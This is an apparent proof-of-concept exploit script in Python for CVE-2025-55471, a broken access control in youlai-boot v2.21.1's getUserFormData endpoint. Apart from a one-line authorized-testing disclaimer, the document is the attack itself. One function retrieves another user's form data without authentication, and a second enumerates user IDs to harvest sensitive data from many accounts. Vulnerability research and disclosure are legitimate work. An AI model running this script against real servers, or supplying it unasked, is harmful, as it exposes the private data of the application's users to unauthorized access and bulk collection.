The following code is for security research and authorized testing only.
python
# CVE-2025-55471 PoC - youlai-boot Incorrect Access Control
# Target: youlai-boot v2.21.1 getUserFormData function
# Vulnerability: Allows unauthorized access to other users' sensitive information
import requests
import json
target_url = "http://target-server:8080"
# PoC 1: Basic unauthorized access to user form data
def exploit_user_form_data(target_url, user_id):
"""
Exploit the getUserFormData function to retrieve sensitive user data
without authentication.
"""
endpoint = f"{target_url}/api/user/form/data"
params = {"userId": user_id}
try:
response = requests.get(endpoint, params=params, timeout=10)
if response.status_code == 200:
data = response.json()
print(f"[+] Successfully retrieved data for user_id: {user_id}")
print(f"[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}")
return data
else:
print(f"[-] Failed to retrieve data. Status: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return None
# PoC 2: Enumerate multiple user IDs to harvest sensitive data
def enumerate_users(target_url, start_id=1, end_id=100):
"""
Enumerate user IDs to harvest sensitive information from multiple users.
"""
print(f"[*] Starting enumeration from user_id {start_id} to {end_id}")
harvested_data = []
for user_id in range(start_id, end_id + 1):
data = exploit_user_form_data(target_url, user_id)
if data:
harvested_data.append({"user_id": user_id, "data": data})
return harvested_data
# Usage examples
if __name__ == "__main__":
# Test single user access
print("[*] Testing single user access...")
exploit_user_form_data(target_url, 1)
# Uncomment to enumerate multiple users
# print("[*] Starting user enumeration attack...")
# all_data = enumerate_users(target_url, 1, 50)
# print(f"[*] Harvested data for {len(all_data)} users")